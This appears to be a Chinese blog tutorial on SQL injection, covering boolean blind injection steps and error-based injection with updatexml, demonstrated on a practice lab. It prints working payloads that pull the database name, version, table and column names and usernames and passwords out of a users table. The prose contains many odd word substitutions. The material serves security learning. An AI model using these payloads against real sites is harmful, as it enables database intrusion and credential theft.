关于安全:从零开始学渗透SQL注入二

53次阅读

共计 2255 个字符,预计需要花费 6 分钟才能阅读完成。

上篇文章曾经介绍了最简略粗犷的 SQL 注入,它是基于页面有 回显 所以能够迅速获取咱们想要获取的,然而对于初学者来说,闭合的判断还是要纯熟起来。这篇文章,我就要介绍另外一类型的 SQL 注入,布尔型注入

注入介绍

什么是布尔型注入,顾名思义,咱们须要利用页面返回的正确与否来获取咱们想要的信息,这类注入是因为网页没有 回显信息 ,只能通过其页面是否失常进行判断,而其中又分为 盲注 报错注入 因为布尔盲注是非常耗时的一个操作,所以个别应用工具,而报错注入是基于报错信息来获取咱们想要信息的操作,并不耗时,所以着重介绍。

布尔盲注

布尔盲注说白了就是穷举法,始终试错,通过试错来找到咱们想要的数据,所以十分耗时,接下来是它的思路:
1. 首先是猜想数据库的长度 length(database()) = 1... 从 1 开始,直到页面失常显示,那个数字就是它的长度。
2. 数据库的名字,个别取字符或者 ASCII left(database(),1)='a' 数字从 1 -8 因为长度为 8,left 函数的数字是截断的个数,左边是匹配的字符,如 1=s, 2=se , 3=ser …
3. 数据库的表数量,(select count(table_name) from information_schema.tables where table_schema =database())=1....
4. 表的长度,length((select table_name from information_schema.tables where table_schema =database() limit0,1))=1... limit 函数就是限度表的个数 0 示意地位,第二个表就是 1,以此类推。
5. 表的名字,left((select table_name from information_schema.tables where table_schema =database() limit0,1),1)='a'
6. 表中字段数量 (select count(column_name) from information_schema.columns where table_name ='users')=1...
7. 具体字段的长度 length((select column_name from information_schema.columns where table_name ='users' limit0,1))=1...
8. 具体字段的名字 left((select column_name from information_schema.columns where table_name ='users' limit0,1),1)='a'...
9. 字段的内容 left((select id from users limit0,1),1)='1'...
至此,终于查完了,能够感触到工程量的盛大,所以个别都是用工具跑的。

报错注入

其实对于那种没有 回显信息 的网页,然而有报错信息提醒的网页,咱们往往能够通过报错注入来获取咱们想要的信息。其非凡之处在于利用某些 非凡的函数,来显示在报错页面。

函数介绍

updatexml(XML_document,XPath_string,new_value)
extractvalue(xml_frag,xpath_expr)
两者都是利用 xpath 格局书写谬误就会报错这个原理进行工作的
留神:两者爆破的最大字符数是 32 超过 32 就会被截断,所以须要用 mid 函数截断显示
floor() 函数报错,配合着 rand(x) group by 应用

靶场实战

老套路就不说了,先判断闭合的字符,而后就开始进行报错语句构筑
?id=1" and updatexml(0,concat(0x7c,database(),0x7c,version(),0x7c),1)

胜利取得数据库名和版本,存在 information_scheme 能够利用。

获取以后数据库的表名
and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7c),1)--+

获取 users 中的字段名
and updatexml(1,mid(concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name ='users'),0x7c),1,32),1)--+

只能截取到前 32 位

反复 更改截取地位

获取 users 具体信息
and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7c),1,32),1)--+

反复 改地位 最初就能获取所有信息啦!

其实字符数多的话,还是用 floor 更稳固,这个反复截断须要看地位 经测试,你须要察看因为是以, 结尾的,如果你下次结尾间接 33 开始,后面未齐全显示的数据也不会显示,所以要算地位看下次开始的中央,比方 I -KILL- 这里占了 7 个字符,那咱们想要它齐全显示就能够从 32- 7 即 25 的地位开始截取,这样比拟稳当

今日分享结束!持续加油!

参考连贯
https://blog.csdn.net/qq_4126…
https://segmentfault.com/a/11…

正文完
 0